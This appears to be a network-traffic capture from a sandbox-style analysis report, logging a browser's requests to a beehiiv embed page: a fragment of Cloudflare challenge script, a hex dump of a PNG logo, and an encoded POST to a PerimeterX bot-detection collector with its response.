2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 2c 64 65 74 61 69 6c 2c 73 75 63 63 65 73 73 2c 31 30 36 34 4c 41 5a 54 74 4b 2c 63 6c 69 65 6e 74 49 6e 66 6f 72 6d 61 74 69 6f 6e 2c 6c 65 6e 67 74 68 2c 38 37 39 33 36 38 65 52 69 74 79 6d 2c 69 66 72 61 6d 65 2c 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 63 68 6c 41 70 69 55 72 6c 2c 63 68 61 72 41 74 2c 72 65 61 64 79 53 74 61 74 65 2c 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2c 61 70 70 65 6e 64 43 68 69 6c 64 2c 66 72 6f 6d 2c 63 61 74 63 68 2c 63 68 6c 41 70 69 52 75 6d 57 69 64 67 65 74 41 67 65 4d 73 2c 50 4f 53 54 2c 73 74 79 6c 65 2c 6f 6e 74 69 6d 65 6f 75 74 2c 72 61 6e 64 6f 6d 2c 5f 63 66 5f 63 68 6c 5f 6f 70 74 3b 46 4c 6b 54 6d 32 3b 4e 68 4c 64 34 3b 4b 51 75 79 56 33 3b 75 74 70 44 35 3b 6f 66 76 76 59 30 3b 47 41 58 71 30 3b 76 78 Data Ascii: ,detail,success,1064LAZTtK,clientInformation,length,879368eRitym,iframe,getPrototypeOf,chlApiUrl,charAt,readyState,XMLHttpRequest,appendChild,from,catch,chlApiRumWidgetAgeMs,POST,style,ontimeout,random,_cf_chl_opt;FLkTm2;NhLd4;KQuyV3;utpD5;ofvvY0;GAXq0;vx
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 28 35 34 35 29 5d 3d 48 2c 4e 5b 61 39 28 34 38 32 29 5d 3d 4d 2c 4e 5b 61 39 28 35 31 34 29 5d 3d 61 39 28 35 32 37 29 2c 4b 5b 61 39 28 34 38 38 29 5d 28 6a 5b 61 39 28 34 36 34 29 5d 28 4a 53 4f 4e 5b 61 39 28 35 32 31 29 5d 28 4e 29 29 29 7d 63 61 74 63 68 28 4f 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 63 2c 64 2c 61 61 29 7b 72 65 74 75 72 6e 20 61 61 3d 57 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 63 5b 61 61 28 34 37 37 29 5d 26 26 30 3c 63 5b 61 61 28 34 37 37 29 5d 5b 61 61 28 34 35 34 29 5d 5b 61 61 28 35 33 38 29 5d 5b 61 61 28 34 35 38 29 5d 28 64 29 5b 61 61 28 35 34 31 29 5d 28 61 61 28 34 36 35 29 29 7d 66 75 6e 63 74 69 6f 6e 20 42 28 61 68 2c 66 2c 45 2c 46 2c 47 2c 48 29 7b 61 68 3d 57 3b 74 72 79 7b 72 65 74 75 72 6e 20 66 3d 69 5b Data Ascii: (545)]=H,N[a9(482)]=M,N[a9(514)]=a9(527),K[a9(488)](j[a9(464)](JSON[a9(521)](N)))}catch(O){}}function v(c,d,aa){return aa=W,d instanceof c[aa(477)]&&0<c[aa(477)][aa(454)][aa(538)][aa(458)](d)[aa(541)](aa(465))}function B(ah,f,E,F,G,H){ah=W;try{return f=i[
2025-02-06 21:52:48 UTC	537	IN	Data Raw: 3a 68 5b 61 69 28 35 32 36 29 5d 3f 69 5b 61 69 28 35 32 36 29 5d 28 61 69 28 34 36 31 29 2c 66 29 3a 28 45 3d 69 5b 61 69 28 35 31 32 29 5d 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 69 5b 61 69 28 35 31 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 6b 29 7b 61 6b 3d 61 69 2c 45 28 29 2c 69 5b 61 6b 28 34 34 31 29 5d 21 3d 3d 61 6b 28 34 35 39 29 26 26 28 69 5b 61 6b 28 35 31 32 29 5d 3d 45 2c 66 28 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 65 2c 45 2c 46 2c 61 62 2c 47 29 7b 61 62 3d 57 3b 74 72 79 7b 72 65 74 75 72 6e 20 45 5b 46 5d 5b 61 62 28 34 34 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 2c 27 70 27 7d 63 61 74 63 68 28 48 29 7b 7d 74 72 79 7b 69 66 28 45 5b 46 5d 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 45 Data Ascii: :h[ai(526)]?i[ai(526)](ai(461),f):(E=i[ai(512)]\|\|function(){},i[ai(512)]=function(ak){ak=ai,E(),i[ak(441)]!==ak(459)&&(i[ak(512)]=E,f())})}function x(e,E,F,ab,G){ab=W;try{return E[F][ab(445)](function(){}),'p'}catch(H){}try{if(E[F]==null)return void 0===E

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:48 UTC	804	OUT	GET /img/beehiiv-logo.png HTTP/1.1 Host: embeds.beehiiv.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://embeds.beehiiv.com/bee58212-55f9-4f7c-994e-380751e3d646 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=gKUqizynHyiBUiInGGV.OzDOx0Iolz1OJLuTGQ56esM-1738878766-1.0.1.1-J0U9Z.lQenbnvWJmehd6iga0HkamoeIvrvpFW.UbIdLT6FVJG1K29jgZjnSA7hXdVIkqjFg2ur4LTZkhAT6Lcg
2025-02-06 21:52:48 UTC	809	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:48 GMT Content-Type: image/png Content-Length: 48182 Connection: close Report-To: {"group":"heroku-nel","max_age":3600,"endpoints":[{"url":"https://nel.heroku.com/reports?ts=1737569180&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=JqCHtSClZKwF6XixOpwStYbtL%2FSbGFm6Ufl3ciSczl8%3D"}]} Reporting-Endpoints: heroku-nel=https://nel.heroku.com/reports?ts=1737569180&sid=c46efe9b-d3d2-4a0c-8c76-bfafa16c5add&s=JqCHtSClZKwF6XixOpwStYbtL%2FSbGFm6Ufl3ciSczl8%3D Nel: {"report_to":"heroku-nel","max_age":3600,"success_fraction":0.005,"failure_fraction":0.05,"response_headers":["Via"]} Last-Modified: Wed, 22 Jan 2025 16:38:30 GMT Vary: Origin Via: 1.1 vegur CF-Cache-Status: HIT Age: 3020 Accept-Ranges: bytes Server: cloudflare CF-RAY: 90de5e8f8a257cac-EWR
2025-02-06 21:52:48 UTC	560	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 72 00 00 01 ba 08 06 00 00 00 fd 2a 07 93 00 00 00 09 70 48 59 73 00 00 2c 4a 00 00 2c 4a 01 77 7a 74 4d 00 00 20 00 49 44 41 54 78 9c ec dd ff af 1f d9 7d df f7 73 04 fd 7e 19 7d 29 8a 00 2d a9 22 6d 1d cb 08 29 c9 b1 53 07 05 af 5a f4 a7 46 25 15 14 6d 92 16 e0 5d ec 3a bb 41 6b 89 2e 90 38 4d 8b 2e b7 45 e4 c4 56 b4 5c 49 8e e3 fe b2 e4 0f 75 6a a0 eb bd eb 14 45 51 a0 d8 4b 27 45 d2 2a 85 48 78 17 b5 76 9d 8a 44 5b b4 80 b4 f6 f2 2f 38 c5 dc 7b 3e f7 33 5f ce 97 f7 39 33 e7 33 73 66 9e 8f c5 05 79 e7 33 73 e6 cc 7c 86 dc cb cf 6b de ef d1 c6 18 05 ac d1 0f 5e fa 9d e3 8b c3 d2 d7 94 52 d7 3a 87 a8 f5 f9 2f fb ab 5f f7 7e ed 2e 37 bd ed 5c eb f4 b7 35 9e b1 ba 8b 75 78 dd fe 7a 83 fd fb e7 e3 3d Data Ascii: PNGIHDRrpHYs,J,JwztM IDATx}s~})-"m)SZF%m]:Ak.8M.EV\IujEQK'EHxvD[/8{>3_933sfy3s\|k^R:/_~.7\5uxz=
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 5d 73 2b e5 e1 b6 05 5a 29 07 42 5c 47 c5 ee f0 f8 9f 37 81 ae 52 fa f4 8b df fd 29 42 5d 00 00 00 00 00 00 00 00 b0 6a 04 b9 58 8c 0f 5f fc ed 2b 46 e9 13 a5 d4 5d a5 d5 d5 8b 79 09 da 1e cf d8 4a 59 8d 0a 71 4b b4 52 0e ed 3f 3c d6 4c ad 94 5d 55 b8 81 d7 2f 7f df 84 ba 0f 94 d2 f7 bf f8 dd cf f3 5c 5d 00 00 00 00 00 00 00 00 b0 3a 04 b9 98 dd 87 2f fe 76 d3 32 f9 c4 28 7d e7 7c 2e 91 4a d0 60 78 79 f9 ed 8c ad 94 1d c7 30 67 2b 65 f7 ba ee 6d 17 d0 4a 39 38 3f d7 76 46 a9 47 4a a9 fb 5f fa ee e7 a9 d2 05 00 00 00 00 00 00 00 00 ab 41 90 8b d9 d8 00 f7 9e 51 fa e6 e5 1c 92 43 dc 92 ad 94 fd db ce d3 4a d9 31 e7 59 5b 29 3b d6 9d b6 95 72 70 5b c7 b1 3d 53 5a df fb d2 77 fe e4 83 c1 e0 00 00 00 00 00 00 00 00 00 95 21 c8 c5 c1 7d f8 e2 5b c7 4a e9 7b 4a Data Ascii: ]s+Z)B\G7R)B]jX_+F]yJYqKR?<L]U/\]:/v2(}\|.J`xy0g+emJ98?vFGJ_AQCJ1Y[);rp[=SZw!}[J{J
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 30 ce 1d e2 96 6c a5 ac 46 85 b8 81 79 64 b7 52 0e ed 3f 3c d6 16 5a 29 07 e7 9c 59 85 ab d2 5b 29 87 de fb 2f fc ec 1b ff c2 63 c7 8b 00 00 00 00 00 00 00 00 00 93 fb 04 a7 14 3e 36 c4 f5 54 e2 ba 02 34 7d 1e b0 99 d6 f7 ce 75 93 5a 29 b7 c7 94 87 b8 e6 7c bb 7e c8 98 1b e2 da 79 68 3d f2 79 b8 ba 35 0d 1d 58 d7 7d 6c dd 2a 5c cf b1 25 86 b8 fb f3 d4 1f 73 b8 6d b8 0a d7 3d 9f 94 56 ca c3 eb c6 bd 6d 4a 2b e5 c1 b1 25 87 b8 9d f7 ed ec 7f bd fb 7f dd 50 00 00 00 00 00 00 00 00 00 07 40 90 8b 00 7d 6a 94 be 3e ee 79 b8 ad 75 9b 20 2e f7 79 b8 ad 6d fb eb f8 43 b9 de 7a bd 10 75 18 f6 06 e6 e1 dc 77 ca 79 70 57 e1 46 c3 4b 67 88 eb 5b af 17 7a 0b 42 5c ff 98 29 21 ee 70 b9 f3 d8 92 9f 87 bb 0b 51 2f be 82 c7 16 0b 66 1d 01 ba 77 dd fe 98 fa 72 bd e6 86 86 Data Ascii: 0lFydR?<Z)Y[)/c>6T4}uZ)\|~yh=y5X}l*\%sm=VmJ+%P@}j>yu .ymCzuwypWFKg[zB\)!pQ/fwr
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: bf aa d5 51 55 9a 54 85 db 0a 63 07 cf 02 76 1c 5b 6f f9 60 1e 81 e7 19 8b aa 70 75 e4 d8 24 55 b8 da bd 6d 7e 88 ab 7b 5f ae 31 77 ab ba b7 0d 5c 83 54 e5 02 00 00 00 00 00 00 00 80 d1 a8 c8 dd a0 8b 6a 5c fd c3 dd 91 e7 b5 52 76 ac d7 5a 96 d3 4a d9 37 d6 30 44 8d 05 b8 ad 75 b3 5a 29 f7 d6 0b 86 b8 ae b1 fb 01 ae 60 5d df 7a 8e 4a d0 71 ad 94 c3 f3 49 af c2 0d cc 23 b1 0a 57 65 b7 52 ee 93 84 b8 a1 31 db ab fa 8e 3f 72 2c 5a bf f0 73 df fa cc 03 c7 e4 00 00 00 00 00 00 00 00 00 44 a8 c8 dd 24 dd 54 e3 3a aa 24 fd 95 a0 b2 2a dc 5e c5 ee a8 56 ca b9 21 ae 9d 47 b0 12 b5 3f a6 67 7e 8e 4a d0 f4 10 b7 7f 4e f5 70 5d df 98 8e 2a 5c e3 7b 9f c4 21 ae 7f 3e 79 ad 94 a7 09 71 9d c7 96 1c e2 da 6d 5b 43 64 87 b8 c1 2a e4 68 88 ab 6c c5 3b 00 00 00 00 00 00 00 Data Ascii: QUTcv[o`pu$Um~{_1w\Tj\RvZJ70DuZ)`]zJqI#WeR1?r,ZsD$T:$^V!G?g~JNp]\{!>yqm[Cd*hl;
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: ee fd ef be 8d 84 9c 81 f9 cc da 4a b9 b5 2d ad 94 03 eb c5 5b 29 b7 03 dc 9d e3 c1 20 00 00 00 00 00 00 00 00 00 1e 54 e4 ae dc be 0a 30 37 c4 f5 57 82 ca aa 70 65 95 8d 69 55 b8 ed aa 52 c7 b1 79 43 dc 40 05 68 62 88 1b ac 6a 4d 6a a5 dc 0a 19 9b 2a d0 ec 10 d7 8e d5 ab 02 f6 af eb d8 c7 65 25 aa a0 62 d7 77 6c bd f7 3e b8 ee 60 ff fd f5 fa 63 09 ae c1 40 15 ee 54 21 ae ab da b6 fd 9a 72 87 b8 8d ab ef fe d5 3f bc a1 00 00 00 00 00 00 00 00 00 04 08 72 57 ec f7 7f fe bf bf a1 94 3e f2 85 60 b2 10 57 39 c3 b3 45 b6 52 76 ee 3f 3c d6 65 30 5c a0 95 b2 1a f5 3c 5c 7f 78 e9 9d 47 b4 95 72 60 1e 85 5b 29 9b c8 b1 84 43 dc d0 98 ed 55 fd 21 6e f0 58 5a ef db c4 ad 94 bb eb 5c 2c a7 2a 17 00 00 00 00 00 00 00 00 88 10 e4 ae 9a b6 a1 91 20 e0 4b 08 71 5d 63 75 Data Ascii: J-[) T07WpeiURyC@hbjMje%bwl>`c@T!r?rW>`W9ERv?<e0\<\xGr`[)CU!nXZ\, Kq]cu
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: f3 75 1d 5b 34 c4 0d 8c 99 18 e2 3a af c1 31 ad 94 85 15 bb d2 2a 5c 95 11 e2 66 84 bb 04 b9 00 00 00 00 00 00 00 00 20 88 20 77 95 a4 01 9a 3f c4 5b 5b 2b e5 e0 b8 b3 b4 52 6e ad b3 88 56 ca 82 75 07 fb ef af e7 1a 2b 72 0d 06 ae 9f fc 10 d7 f1 3e ed 7e 8d 84 b8 13 55 db 26 8f 05 00 00 00 00 00 00 00 00 d0 47 90 bb 4a ae 20 4b 16 e2 8a 9e 45 2a 0e 71 03 e1 65 72 88 3b ac 22 a5 95 32 ad 94 2b 6a a5 dc dd e7 70 3a 00 00 00 00 00 00 00 00 00 1d 04 b9 2b 57 a2 95 b2 ca 0a 71 e3 95 a0 b4 52 2e d3 4a 59 65 85 b8 81 31 13 43 dc 2d b4 52 4e d9 86 10 17 00 00 00 00 00 00 00 00 48 10 e4 ae 58 bc 0a 57 c9 03 34 71 15 ae 0a 84 92 b1 2a 5c ff 7e e7 69 a5 3c 5c 36 6b 2b 65 a5 46 3c 0f d7 ff de 7b d7 1d cc bb bf 9e 6b ac 48 88 bb a1 56 ca ae d7 08 71 01 00 00 00 00 00 Data Ascii: u[4:1\f w?[[+RnVu+r>~U&GJ KEqer;"2+jp:+WqR.JYe1C-RNHXW4q*\~i<\6k+eF<{kHVq
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 4b 35 0c f8 32 ab 70 55 76 2b e5 fe aa 79 21 ee 30 c0 75 cf 31 38 8f c0 18 79 ad 94 7d f3 b1 73 4e ae c2 0d ed df b5 ae 0a 9c 83 b1 ad 94 fb 8b 64 eb fa 02 5c d7 6b 63 02 59 e9 36 be 00 37 71 1e 2f 7c e5 1b 9f 7a e0 18 02 00 00 00 00 00 00 00 00 20 88 d6 ca 1b f2 53 7f ef e6 63 a5 d4 35 a5 f4 c3 ee 51 bb 82 c6 d6 97 1e 06 89 07 6f a5 dc a9 68 5d 42 2b 65 df f3 83 dd db 4a 5b 29 2b 95 13 e2 f6 c7 d0 83 6d b3 5b 29 2b df f1 cf d3 4a 59 65 06 b2 a6 b7 fc 00 ad 94 1f 29 a5 be 40 88 0b 00 00 00 00 00 00 00 00 72 51 91 bb 51 ef bd f2 bb c7 f6 d9 b9 77 d4 cc ad 94 83 e3 ce d2 4a b9 b5 ce 22 5a 29 0b d6 1d ec bf bf 9e 6b ac 50 75 af ff d8 dd e3 ba b7 3d 44 2b e5 d0 6b 33 b4 52 6e 02 dc 07 04 b8 00 00 00 00 00 00 00 00 60 2c 82 dc 8d fb bd 57 fe e1 15 a5 d4 6d a5 Data Ascii: K52pUv+y!0u18y}sNd\kcY67q/\|z Sc5Qoh]B+eJ[)+m[)+JYe)@rQQwJ"Z)kPu=D+k3Rn`,Wm
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 02 c9 d4 10 d7 17 e0 0a d6 f5 ad e7 a8 04 95 86 b8 fe 00 d7 bf ad b4 0a 37 38 e7 cc 2a 5c 95 10 e2 8a aa 91 a3 21 6e 24 c0 55 fe e3 8f 56 e1 2a 95 1c e2 06 ab 49 27 08 64 53 b7 29 11 0c 87 03 d9 48 88 1b 08 99 a5 21 ee 14 e1 ae e4 7d 4a 9d 9f 20 18 7e a6 94 6a 2a 75 4f ff ca 7f fa 69 ee 9a 04 10 a4 b5 ae f1 87 c7 d7 8c 31 3c af 09 00 00 78 f1 33 0e d0 a5 b5 6e 6e fa be ba d2 d3 f2 55 63 cc ac 9f 7f 70 7e 01 00 52 54 e4 26 7a ff e5 b3 a6 f2 f6 b6 d1 fa ae d2 ba f7 3f 5b 69 88 eb 0f 11 c7 b7 52 76 ac eb 1b f3 20 ad 94 03 f3 98 a5 95 b2 0a 9e 7f 15 3c 0f fd ed 68 a5 2c 59 ee da a6 68 30 ec 0b 70 9d af 85 97 07 03 d0 cc 31 43 e1 6e 46 b5 6d 72 88 eb 59 de fc 5d 76 c7 28 75 e7 ef fe f2 47 cf 8d 56 0f 94 52 0f fe a3 bf fe e9 c7 0a 00 00 00 00 00 6c 8a d6 e7 8f Data Ascii: 78\!n$UVI'dS)H!}J ~j*uOi1<x3nnUcp~RT&z?[iRv <h,Yh0p1CnFmrY]v(uGVRl
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: de 14 c5 f9 05 80 09 6d 32 c8 7d ff e5 77 9b a0 e1 f5 76 80 3b 49 2b e5 56 10 2b 0a 2f 45 55 b8 dd 30 35 18 e2 b6 0c da 0d 3b f7 af 2e 8f 3f 34 bf fe 7c 9c c7 26 aa c2 f5 9c e3 d9 5a 29 ef b7 5d 42 2b e5 58 c5 6e 4a 6b dc a9 ab 6d 43 db a4 8e 29 d9 c6 1f c8 4e df 4a 59 b2 ad af da 36 14 ee 1e ba 95 72 ac da d6 37 8f 02 21 fc 9d 6f 7e f3 a3 c7 df fc e6 47 57 14 00 00 00 00 00 a8 d1 d9 ca df b5 a7 33 ef 9f f3 0b 00 10 db 5c 90 6b 43 dc 3b 69 55 b8 82 10 b7 f5 1b 51 78 29 0a 71 bb 63 1a e7 98 ee 10 37 76 2c ca 19 60 3b 8e ad b7 7c 70 6c 63 5b 29 6b e9 f3 83 3d c7 d6 39 7f 29 e7 21 56 85 eb 0e c1 f3 5b 29 3b e6 31 63 2b 65 e9 36 fd e5 53 b4 52 8e 85 cc fe f0 74 58 85 db 99 47 20 dc 0d 05 a4 b1 40 36 35 dc 2d d1 4a 39 75 5b e5 98 87 6b ac 12 c1 be 75 dd 28 75 Data Ascii: m2}wv;I+V+/EU05;.?4\|&Z)]B+XnJkmC)NJY6r7!o~GW3\kC;iUQx)qc7v,`;\|plc[)k=9)!V[);1c+e6SRtXG @65-J9u[ku(u
2025-02-06 21:52:48 UTC	1369	IN	Data Raw: 32 ce fd ef be 4d 0c 2f db eb 26 b5 52 f6 54 23 8f 6c a5 1c 5f d7 77 6c ee 00 dd bd ae 63 cc 56 80 3b ea 79 b8 8e 63 9b b2 95 b2 4a 0c e5 3a af 17 08 77 3b fb 4d dc 36 29 18 1e 2c 6f 05 b8 be 96 ce 09 a1 ea d8 6a 5b 6f b8 2b 78 9f 5c cb 63 cf eb 3d 74 2b e5 d1 e1 6e 6f db 91 d7 e0 ab 7f f3 f5 8f 6e 28 00 00 00 00 00 b0 68 c6 98 e6 73 d6 47 95 bf 4b 4f 8c 31 8b 0c 4c 39 bf 00 80 98 35 56 e4 de 55 4a 5d bd f8 6d 42 78 19 08 71 43 63 75 2a 76 83 21 ae 6f cc d6 ba 93 b6 52 1e ee b7 bf dc 59 85 3b 41 2b e5 78 e8 ed 39 36 cf f9 1b df 4a d9 bd ed 5c ad 94 a7 08 e5 fa cb c7 56 5c 96 aa fa 15 85 b8 bd f5 db 41 6c 52 00 ea d8 d7 e0 d8 12 c3 dd ac 6a db c0 fc c6 56 db f6 e7 31 65 b5 6d 70 1b c1 98 19 e1 2e ed 76 00 00 00 00 00 a8 c3 6d db 3a b7 46 cd bc 4f 16 3e 6f Data Ascii: 2M/&RT#l_wlcV;ycJ:w;M6),oj[o+x\c=t+non(hsGKO1L95VUJ]mBxqCcu*v!oRY;A+x96J\V\AlRjV1emp.vm:FO>o

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:48 UTC	654	OUT	POST /api/v2/collector HTTP/1.1 Host: collector-pxebumdlwe.px-cloud.net Connection: keep-alive Content-Length: 648 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-type: application/x-www-form-urlencoded Accept: / Origin: https://embeds.beehiiv.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://embeds.beehiiv.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:48 UTC	648	OUT	Data Raw: 70 61 79 6c 6f 61 64 3d 61 55 6b 51 52 68 41 49 45 48 78 68 58 58 70 54 41 58 42 33 63 51 4e 46 44 78 41 65 45 46 59 51 43 45 6b 51 56 6d 56 43 65 6e 6c 49 66 33 46 67 57 6b 55 50 45 41 67 51 57 6b 5a 47 51 6b 45 49 48 52 31 58 58 31 42 58 56 6b 45 63 55 46 64 58 57 6c 74 62 52 42 78 52 58 56 38 64 55 46 64 58 42 77 6f 41 41 77 41 66 42 77 64 55 43 78 38 47 56 41 56 52 48 77 73 4c 42 6c 63 66 41 51 6f 43 42 51 63 44 56 77 46 57 42 41 59 45 45 42 34 51 64 30 56 61 57 6e 46 6b 61 46 6c 6f 64 6b 55 50 45 41 67 43 48 68 42 77 57 67 49 43 61 6e 64 38 41 58 78 31 61 77 38 51 43 42 42 6c 57 31 77 42 41 42 41 65 45 46 64 6c 42 33 35 2b 53 41 70 34 5a 6c 6f 4b 44 78 41 49 41 68 34 51 59 57 59 47 42 56 52 46 43 32 47 52 39 64 77 49 50 45 41 67 42 42 77 49 43 48 5e Data Ascii: payload=aUkQRhAIEHxhXXpTAXB3cQNFDxAeEFYQCEkQVmVCenlIf3FgWkUPEAgQWkZGQkEIHR1XX1BXVkEcUFdXWltbRBxRXV8dUFdXBwoAAwAfBwdUCx8GVAVRHwsLBlcfAQoCBQcDVwFWBAYEEB4Qd0VaWnFkaFlodkUPEAgCHhBwWgICand8AXx1aw8QCBBlW1wBABAeEFdlB35+SAp4ZloKDxAIAh4QYWYGBVRFC2GR9dwIPEAgBBwICH^
2025-02-06 21:52:48 UTC	401	IN	HTTP/1.1 200 OK Date: Thu, 06 Feb 2025 21:52:48 GMT Content-Type: application/json; charset=utf-8 Content-Length: 1164 Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Access-Control-Allow-Origin: https://embeds.beehiiv.com Timing-Allow-Origin: * Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-02-06 21:52:48 UTC	989	IN	Data Raw: 7b 22 64 6f 22 3a 6e 75 6c 6c 2c 22 6f 62 22 3a 22 63 33 4e 51 63 31 42 51 59 30 42 76 5a 79 78 6a 4c 43 77 76 59 79 70 35 65 53 73 73 4b 79 6b 6d 4b 53 6c 35 65 79 64 38 4a 79 39 39 4c 69 6b 71 66 58 6b 73 4c 48 77 72 66 69 34 6f 4b 48 74 36 66 43 34 76 66 48 34 6f 65 53 6c 36 65 69 39 39 4b 48 70 36 66 69 38 71 4a 33 30 70 4a 33 74 36 4a 6e 73 6f 4c 33 6c 35 4b 69 34 6c 53 32 35 79 61 6d 70 30 57 6c 52 53 62 58 70 65 54 56 4d 73 66 6c 42 4e 4a 69 74 36 62 6c 6b 72 4b 6d 55 75 4b 6b 56 51 62 31 56 63 57 6e 78 39 55 53 73 6e 62 6b 64 65 56 48 42 39 5a 55 6c 46 5a 33 31 6c 66 47 68 65 56 6e 46 4a 66 69 6c 32 61 31 6c 70 53 56 4a 6f 52 55 59 73 52 32 34 76 56 48 6f 70 55 58 6b 70 56 30 5a 6c 53 79 64 31 4c 32 67 69 49 69 55 75 4c 79 38 76 4a 53 39 31 4b 53 Data Ascii: {"do":null,"ob":"c3NQc1BQY0BvZyxjLCwvYyp5eSssKykmKSl5eyd8Jy99LikqfXksLHwrfi4oKHt6fC4vfH4oeSl6ei99KHp6fi8qJ30pJ3t6JnsoL3l5Ki4lS25yamp0WlRSbXpeTVMsflBNJit6blkrKmUuKkVQb1VcWnx9USsnbkdeVHB9ZUlFZ31lfGheVnFJfil2a1lpSVJoRUYsR24vVHopUXkpV0ZlSyd1L2giIiUuLy8vJS91KS
2025-02-06 21:52:48 UTC	175	IN	Data Raw: 4b 79 78 38 4a 6a 4a 36 4b 33 73 72 4d 69 34 75 65 6e 6b 79 66 58 6b 6d 66 6a 49 75 65 69 74 35 4b 48 34 76 4b 69 35 2b 65 69 68 6a 4c 43 34 71 4c 43 6b 76 4c 79 39 6a 61 32 31 71 65 6d 46 68 59 57 46 7a 63 31 42 51 55 46 42 6a 66 48 78 6a 4b 53 39 6a 53 69 31 5a 61 30 56 4a 55 57 39 37 57 45 6f 6d 53 33 49 6d 61 6b 56 4c 62 48 68 4b 4c 55 6c 31 65 30 64 56 63 31 42 6d 58 55 35 47 52 31 55 76 66 6b 64 4e 62 33 30 74 4b 6e 4e 46 57 32 78 34 59 57 46 68 59 58 4e 7a 63 31 42 51 55 47 4e 38 66 48 77 6c 4c 77 3d 3d 22 7d 0a Data Ascii: Kyx8JjJ6K3srMi4uenkyfXkmfjIueit5KH4vKi5+eihjLC4qLCkvLy9ja21qemFhYWFzc1BQUFBjfHxjKS9jSi1Za0VJUW97WEomS3ImakVLbHhKLUl1e0dVc1BmXU5GR1UvfkdNb30tKnNFW2x4YWFhYXNzc1BQUGN8fHwlLw=="}